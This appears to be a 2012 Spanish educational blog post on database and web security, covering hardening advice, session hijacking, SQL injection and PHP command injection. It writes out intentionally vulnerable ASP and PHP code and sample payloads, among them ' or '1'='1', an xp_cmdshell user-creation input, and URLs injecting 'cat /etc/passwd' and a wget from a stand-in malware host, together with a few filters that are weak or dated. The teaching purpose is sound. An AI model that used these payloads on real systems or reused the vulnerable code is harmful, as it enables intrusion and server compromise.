sábado, 14 de julio de 2012

ATAQUE Y SEGURIDAD A LA BASE DE DATOS


ATAQUE A LA BASE DE DATOS

INTRODUCCION:
La gran mayoría de los datos sensibles del mundo están almacenados en sistemas gestores de bases de datos comerciales tales como Oracle, Microsoft SQL Server entre otros, y atacar una bases de datos es uno de los objetivos favoritos para los criminales.
Esto puede explicar por qué los ataques externos, tales como inyección de SQL, subieron 56.2% en 2012, “Esta tendencia es prueba adicional de que los agresores tienen éxito en hospedar páginas Web maliciosas, y de que las vulnerabilidades y explotación en relación a los navegadores Web están conformando un beneficio importante para ellos.
Para empeorar las cosas, según un estudio publicado en febrero de 2012 The Independent Oracle Users Group (IOUG), casi la mitad de todos los usuarios de Oracle tienen al menos dos parches sin aplicar en sus manejadores de bases de datos.
Mientras que la atención generalmente se ha centrado en asegurar los perímetros de las redes por medio de, firewalls, IDS / IPS y antivirus, cada vez más las organizaciones se están enfocando en la seguridad de las bases de datos con datos críticos, protegiéndolos de intrusiones y cambios no autorizados.
En las siguientes secciones daremos las siete recomendaciones para proteger una base de datos en instalaciones tradicionales.

OBJETIVOS:
  • Desarrollar un conocimiento integral en los estudiantes sobre los posibles y multiples ataquesque pueden haber  en las Bases de Datos.
  • Dar a conocer las formas de seguridad para proteger nuestra base de datos.
  • Dar a conocer los últimos avances para combatir los ataques a las Bases de Datos.
  • Indicar las debilidades de una Base de Datos para ser atacada.


MATERIALES Y RECURSOS:
Paginas Web, manuales, tutoriales, foros, vídeos y libros.

DESARROLLLO:

PRINCIPIOS BASICOS DE SEGURIDAD A LA BASE DE DATOS  EN CASO DE RECIBIR UN ATAQUE
En esta sección daremos siete recomendaciones sobre seguridad en bases de datos, instaladas en servidores propios de la organización.

Identifique su sensibilidad
"No se puede asegurar lo que no se conoce".
Confeccione un buen catálogo de tablas o datos sensibles de sus instancias de base de datos. Además, automatice el proceso de identificación, ya que estos datos y su correspondiente ubicación pueden estar en constante cambio debido a nuevas aplicaciones o cambios producto de fusiones y adquisiciones.
Desarrolle o adquiera herramientas de identificación, asegurando éstas contra el malware , colocado en su base de datos el resultado de los ataques de inyección SQL; pues aparte de exponer información confidencial debido a vulnerabilidades, como la inyección SQL, también facilita a los atacantes incorporar otros ataques en el interior de la base de datos.

Evaluación de la vulnerabilidad y laconfiguracion:
Evalúe su configuración de bases de datos, para asegurarse que no tiene huecos de seguridad.
Esto incluye la verificación de la forma en que se instaló la base de datos y su sistema operativo (por ejemplo, la comprobación privilegios de grupos de archivo -lectura, escritura y ejecución- de base de datos y bitácoras de transacciones).
Asimismo con archivos con parámetros de configuración y programas ejecutables.
Además, es necesario verificar que no se está ejecutando la base de datos con versiones que incluyen vulnerabilidades conocidas; así como impedir consultas SQL desde las aplicaciones o capa de usuarios. Para ello se pueden considerar (como administrador):
Limitar el acceso a los procedimientos a ciertos usuarios.
Delimitar el acceso a los datos para ciertos usuarios, procedimientos y/o datos.
Declinar la coincidencia de horarios entre usuarios que coincidan.

Endurecimiento:
Como resultado de una evaluación de la vulnerabilidad a menudo se dan una serie de recomendaciones específicas. Este es el primer paso en el endurecimiento de la base de datos. Otros elementos de endurecimiento implican la eliminación de todas las funciones y opciones que se no utilicen. Aplique una política estricta sobre que se puede y que no se puede hacer, pero asegúrese de desactivar lo que no necesita.

Audite:
Una vez que haya creado una configuración y controles de endurecimiento, realice auto evaluaciones y seguimiento a las recomendaciones de auditoría para asegurar que no se desvíe de su objetivo (la seguridad).
Automatice el control de la configuración de tal forma que se registre cualquier cambio en la misma. Implemente alertas sobre cambios en la configuración. Cada vez que un cambio se realice, este podría afectar a la seguridad de la base de datos.

Monitoreo:
Monitoreo en tiempo real de la actividad de base de datos es clave para limitar su exposición, aplique o adquiera agentes inteligentes de monitoreo, detección de intrusiones y uso indebido.
Por ejemplo, alertas sobre patrones inusuales de acceso, que podrían indicar la presencia de un ataque de inyección SQL, cambios no autorizados a los datos, cambios en privilegios de las cuentas, y los cambios de configuración que se ejecutan a mediante de comandos de SQL.
Recuerde que el monitoreo usuarios privilegiados, es requisito para la gobernabilidad de datos y cumplimiento de regulaciones como SOX y regulaciones de privacidad. También, ayuda a detectar intrusiones, ya que muchos de los ataques más comunes se hacen con privilegios de usuario de alto nivel.
El monitoreo dinámico es también un elemento esencial de la evaluación de vulnerabilidad, le permite ir más allá de evaluaciones estáticas o forenses. Un ejemplo clásico lo vemos cuando múltiples usuarios comparten credenciales con privilegios o un número excesivo de inicios de sesión de base de datos.

Pistas de Auditoría:
Aplique pistas de auditoría y genere trazabilidad de las actividades que afectan la integridad de los datos, o la visualización los datos sensibles.
Recuerde que es un requisito de auditoría, y también es importante para las investigaciones forenses.
La mayoría de las organizaciones en la actualidad emplean alguna forma de manual de auditoría de transacciones o aplicaciones nativas de los sistemas gestores de bases de datos. Sin embargo, estas aplicaciones son a menudo desactivadas, debido a:
- su complejidad
- altos costos operativos
- problemas de rendimiento
- la falta de segregación de funciones y
- la necesidad mayor capacidad de almacenamiento.
Afortunadamente, se han desarrollado soluciones con un mínimo de impacto en el rendimiento y poco costo operativo, basado en tecnologías de agente inteligentes.

Autenticación, control de acceso, y Gestión de derechos:
No todos los datos y no todos los usuarios son creados iguales. Usted debe autenticar a los usuarios, garantizar la rendición de cuentas por usuario, y administrar los privilegios para de limitar el acceso a los datos.
Implemente y revise periódicamente los informes sobre de derechos de usuarios, como parte de un proceso de formal de auditoría.
Utilice el cifrado para hacer ilegibles los datos confidenciales, complique el trabajo a los atacantes, esto incluye el cifrado de los datos en tránsito, de modo que un atacante no puede escuchar en la capa de red y tener acceso a los datos cuando se envía al cliente de base de datos.

ATAQUE Y SEGURIDAD DE SECION
Session Hijacking (secuestro o robo de sesión) se refiere a que un individuo (atacante) consigue el identificador de sesión entre una página web y un usuario, de forma que puede hacerse pasar por este y acceder a su cuenta en esa página web.
El robo de la sesión puede conseguirse de varias formas, aunque en este artículo nos centraremos en las que tienen que ver con las vulnerabilidades de las sesiones y en algunas técnicas para mitigarlas.
Como pudimos ver en el artículo sobre el funcionamiento de las sesiones, la única forma que tiene la página web de reconocer a un usuario es por medio de su identificador de sesión. Si un atacante consigue el identificador de sesión de un usuario que ya está autenticado, puede hacerse pasar por él y entrar en su cuenta sólo con hacer que su navegador envíe el identificador a la página web, ya sea a través de la URL o de una cookie.
A continuación veremos algunas de las formas en las que un atacante puede robar este identificador y técnicas para intentar prevenirlo.
Ataque por fuerza bruta

El ataque por fuerza bruta significa probar identificadores aleatoriamente hasta encontrar uno que esté siendo usado. Es como intentar abrir una caja fuerte sin saber la combinación, poniendo números al azar.
Como en el caso de la caja fuerte, cuantos más números tenga la combinación (en este caso el identificador de sesión), más difícil será de adivinar. También ayuda el hecho de que el número o identificador sea aleatorio, y no algo que se pueda predecir. El sistema de identificadores de sesión de PHP es aceptable en este sentido.

Robo por sniffing
Este tipo de ataque se da cuando el atacante tiene un programa de sniffing en la red del usuario y puede interceptar el tráfico destinado al mismo, incluido su identificador de sesión. Es algo que ha dado mucho de que hablar a causa de Firesheep, una extensión para Firefox que permite robar las sesiones de Facebook, Twitter y otras páginas web muy conocidas en redes inalámbricas públicas.
La única forma de prevenir estos ataques es utilizando cifrado HTTPS en toda la página web.
Propagación en URL

Si el identificador de sesión se propaga utilizando la URL en lugar de las cookies, cualquier atacante puede robarlo desde muchos sitios:
- Un enlace que el propio usuario ponga en un lugar público. Los usuarios típicos no saben para que sirve ese identificador y no le dan importancia.

- El historial del navegador.

- El referrer, que es un encabezado que envían muchos navegadores a las páginas web en el que les indican la URL de la que vienen.

La forma de prevenir esto es no utilizar la URL para el identificador de sesión; utilizar únicamente las cookies. En PHP esto se consigue con la instrucción:
ini_set('session.use_only_cookies', 1);

Robo en servidor compartido:
Si tenemos nuestra página web alojada en un servidor compartido, los archivos físicos de las sesiones se guardan, por defecto, en un directorio común para todas las páginas web del servidor. Esto quiere decir que todas las personas que tengan su página web en ese mismo servidor, tienen acceso a todos los archivos de sesiones. Dado que el nombre de los archivos es "sess_" más el identificador de sesión, cualquier atacante tendrá una lista de identificadores de sesión válidos con sólo leer la lista de archivos del directorio común.
Esta vulnerabilidad se puede combatir de dos formas:
- Usando la función session_save_path para guardar los archivos de sesión de la página web en un directorio dentro de su cuenta al que sólo pueda acceder PHP (ya sea por estar fuera del directorio web o con un .htaccess con la instrucción deny from all). Este método no es demasiado fiable, ya que el resto de usuarios seguirá pudiendo leer en ese directorio, sólo tienen que averiguar su localización.

- Guardando las sesiones en base de datos en lugar de en archivos. Esto se consigue fácilmente usando la función session_set_save_handler. Esta solución es la más segura ya que la página web será la única que tendrá acceso a la base de datos y, por tanto, a las sesiones.

Robo por Cross-Site Scripting
Si la página web es vulnerable a XSS el atacante puede insertar un código javascript que envíe las cookies de un usuario a su cuenta.
Este tipo de ataque se puede prevenir (además de evitando los ataques XSS) haciendo que las cookies de sesión tengan el atributo HttpOnly, que evita que puedan ser manejadas por javascript en la mayoría de navegadores. En PHP esto se consigue con la instrucción:
ini_set('session.cookie_httponly', 1);

Métodos de prevención generales:
Además de los métodos de prevención concretos vistos para cada tipo de ataque, vamos a ver algunas técnicas de prevención que ayudan a evitar el robo de las sesiones:
- Limitar tiempo de inactividad: eliminar la sesión si está cierto tiempo sin ser usada (de 5 a 30 minutos, según el nivel de seguridad de la página web).
- Cambiar el identificador de sesión: cada cierto tiempo o después de cada acción, cambiar el identificador de la sesión por otro distinto y eliminar la sesión antigua.
- Sistema de logout: dar a los usuarios una forma de salir de su cuenta y destruir la sesión.
- Verificación doble: usar un segundo método para intentar reconocer al usuario de la sesión. Esto puede hacerse guardando cabeceras como HTTP_USER_AGENT (navegador del usuario) o REMOTE_ADDR (IP del usuario) cuando se crea la sesión, de esta forma:

$_SESSION['fingerprint'] = md5($_SERVER['HTTP_USER_AGENT']);
La IP del usuario es más significativa que su navegador, pero es más problemática ya que hay usuarios a los que les cambia la IP habitualmente (IP dinámica, proxies, ...).
Con este sistema, un atacante tendría que robar la sesión a un usuario y, además, enviar la misma cabecera de navegador para poder usarla.
Hasta aquí el artículo sobre el robo de sesiones. En próximos artículos veremos más tipos de ataque contra las sesiones y formas de prevenirlos.

ATAQUE POR INYECCION DE CODIGO
La inyección SQL consiste en la modificación del comportamiento de nuestras consultas mediante la introducción de parámetros no deseados en los campos a los que tiene acceso el usuario.
Este tipo de errores puede permitir a usuarios malintencionados acceder a datos a los que de otro modo no tendrían acceso y, en el peor de los casos, modificar el comportamiento de nuestras aplicaciones.
Vamos a ver con un ejemplo que significa eso de “Inyección de código”:
Supongamos que tenemos una aplicación Web (realizada en ASP por sencillez) en la que el acceso a ciertas secciones está restringido. Para restringir ese acceso creamos una tabla de usuarios y contraseñas y sólo los usuarios que se validen contra esa tabla podrán acceder a esos contenidos.
Una manera de que los usuarios se validen será colocar un par de cuadros de texto en nuestra página Web (por ejemplo txtUsuario y txtPassword) donde puedan introducir su nombre y su contraseña y enviar ese par usuario/contraseña a la base de datos para comprobar si es válido.
Primero creamos la tabla que vamos a usar y la rellenamos con datos:

use web
-Nuestra base de datos se llama web
go

- Creamos una tabla para almacenar los pares usuario/contraseña
create table usuarios (Usuario varchar (50) not null primary key,
Password varchar (50))
go

- Introducimos un par de datos de prueba
insert into usuarios (Usuario, Password) values ('Admin', '1234')
insert into usuarios (Usuario, Password) values ('Usuario', 'abcd')

Ahora veamos el código de las páginas que forman parte del proceso de login.
index.htm
<form action="login.asp" method="post">
Nombre: <input type="text" name="txtUsuario"><br>
Password: <input type="password" name="txtPassword"><br>
<input type="submit">
</form>

Esta primera página es sencilla. Simplemente
los dos cuadros de texto mencionados que enviarán los datos a la página de login.
Login.asp
<%
Dim Usuario, Password, RS, SSQL
Usuario = Request.Form("txtUsuario")
Password = Request.Form("txtPassword")
SSQL = "SELECT count(*) FROM Usuarios WHERE Usuario = '" & Usuario &
"' AND password='" & Password & "'"
Set RS = Server.CreateObject("ADODB.Recordset")
RS.Open SSQL, "Cadena de conexion"
If (RS.EOF) Then
Response.Write "Acceso denegado."
Else
Response.Write "Te has identificado como " & RS("Usuario")
End If
Set RS = Nothing
%>

Y en esta segunda página creamos dinámicamente
una sentencia SQL que enviamos a la base de datos para la validación.

Si el usuario escribe Admin y 1234 la sentencia creada será:
“SELECT Count(*) FROM Usuarios WHERE Usuario=’Admin’ AND 
Password=’1234’”

Y como esta sentencia nos devuelve un registro, dejaremos que el usuario entre en la Web. Si el usuario escribe por ejemplo ‘Admin’ y de contraseña cualquier otra cosa, la sentencia no nos devolverá registros y no permitiremos entrar a esa persona. Pero ¿qué ocurre si el usuario escribe ‘ or ’1′=’1 como usuario y lo mismo de contraseña? En este caso la variable Consulta contendrá la cadena:
"SELECT Count(*) FROM Usuarios WHERE Usuario = '' or '1'='1' AND
password = '' or '1'='1'"
Y obviamente esta sentencia nos devuelve registros con lo que el usuario entrará en nuestra Web sin tener permiso.
Pero esto no es lo peor. Lo peor será el usuario utilice estos trucos de inyección de SQL para ejecutar código arbitrario en nuestro servidor. Sentencias DDL, cambiar permisos, utilizar procedimientos almacenados y un largo etcétera. Qué ocurriría si alguien escribiese de contraseña cosas como:
' exec master..xp_cmdshell 'net user test /ADD' – Como evitarlo:

Y ahora lo más importante, ¿qué podemos hacer para evitar estos errores?
Pues hay varios sistemas para evitarlo. Por ejemplo podemos filtrar las entradas de los usuarios reemplazando la aparición de ‘ por ‘’ (dos comillas simples) e incluso evitando que los usuarios puedan pasar caracteres como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar problemas. Estos filtros pueden ser tan sencillos como utilizar la sentencia replace de Visual Basic:
SSQL= "SELECT count(*) FROM Usuarios WHERE Usuario = '" & Replace
txtUsuario.Text, "'", "''") & "' AND password='" & Replace
(txtPassword.Text, "'", "''") & "'"

Otro factor importante en cuanto a la seguridad es limitar al máximo los permisos del usuario que ejecuta estas sentencias para evitar posibles problemas. Por ejemplo utilizando un usuario distinto para
las sentencias SELECT, DELETE, UPDATE y asegurándonos que cada ejecución de una sentencia ejecute una sentencia del tipo permitido. Por supuesto utilizar el usuario ‘sa’ o uno que pertenezca al rol ‘db_owner’ para ejecutar las sentencias de uso habitual de la base de datos debería quedar descartado.
Una solución definitiva sería trabajar con procedimientos almacenados.
El modo en el que se pasan los parámetros a los procedimientos almacenados
evita que la inyección SQL pueda ser usada. Por ejemplo utilizando el siguiente procedimiento almacenado:
CREATE Procedure Validar @usuario varchar(50), @password varchar(50)
AS
If (SELECT Count(*) FROM Usuarios WHERE Usuario=@Usuario and Password=@password)>0
Return 1
Return 0

También deberíamos validar los datos que introduce el usuario teniendo en cuenta por ejemplo la longitud de los campos y el tipo de datos aceptados. Esto lo podemos hacer en el cliente con los RegularExpressionValidator o con los CustomValidators del VB.NET. De todos modos si la seguridad es importante todas estas validaciones hay que repetirlas en el servidor.
Por ultimo, y ya que estamos pensando en entornos Web, podemos programar en ASP.NET y utilizar siempre que sea posible las clases System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras aplicaciones Web.

ATAQUE POR INYECCION DE COMANDOS EN PHP
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.
Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.
Un ejemplo práctico:
Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio
<?
if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");
echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";
?>

NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios. 
En la url del navegador se escribirá algo como sigue: 
http://misitio.net/dirs/script.php?directorio=directorionuevo
("directorionuevo" es el directorio recién creado) 
En la línea del código:
system ("mkdir {$_GET['directorio']}");
se ejecuta un comando de sistema operativo con la función system para crear el directorio.
Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:
mkdir directorionuevo

Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:
mkdir directorionuevo; pwd

Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd

con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).
/var/www/html/dirs/

Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.

Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777

Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd

Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.

Solución:
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.
Aquí presentamos algunas soluciones:
•En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo
•No usar:
funcionesshell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo
•Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"
•Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's
•Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software.

<?
foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit
}
?>

Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.


BIBLIOGRAFIA:
Libros y otros manuscritos
 •ARTE Y CIENCIA DEL DISEÑO WEB. Jeffrey Veen, Editorial Pearson Alhambra.  2001.
 •HTML La guía completa Musciano y Kennedy, Editorial Mc Graw Hill. 1999.
 •Manual de Estilo Web -Patrick J. Lynch, Editorial Gustavo Gili. 2004.
 •Introducción a CSS - Javier Eguíluz Pérez, licencia Creative Commons. 2007.
 •Curso de CSS - Christopher Schmitt, Editorial Anaya / O´Reilly.  2007.
 •CSS Manual Avanzado -  Andy Budd, Cameron Moll, Simon Collison, Editorial Anaya. 2007.
 •Curso de Programación PHP - Francisco Minera, Editorial USERS. 2008.
 •Creación y Diseño Web profesional - Jennifer Niederts Robbins, Editorial O´Reilly. 2008.
 •PHP y MySQL -  Jacobo Pavón Puertas, Editorial Alfaomega. 2008.
 •PHP 6 - Francisco Minera, Editorial USERS. 2010.
 •Manual de referencia PHP - Steven Holzner, Editorial Mc Graw Hill. 2009.
 •PHP Master - Francisco Minera, Editorial USERS. 2008.
 •Domine PHP 5 - José Lopez Quijado, Editorial Alfaomega. 2008.
Entre Otros.
Sitios web pertinentes:
 •www.desarrolloweb.com
•www.programacion.com
•www.webtaller.com.ar
 •www.webexperto.com
 •www.phpya.com.ar
 •www.htmlya.com.ar
 •www.cssya.com.ar
 •www.php.net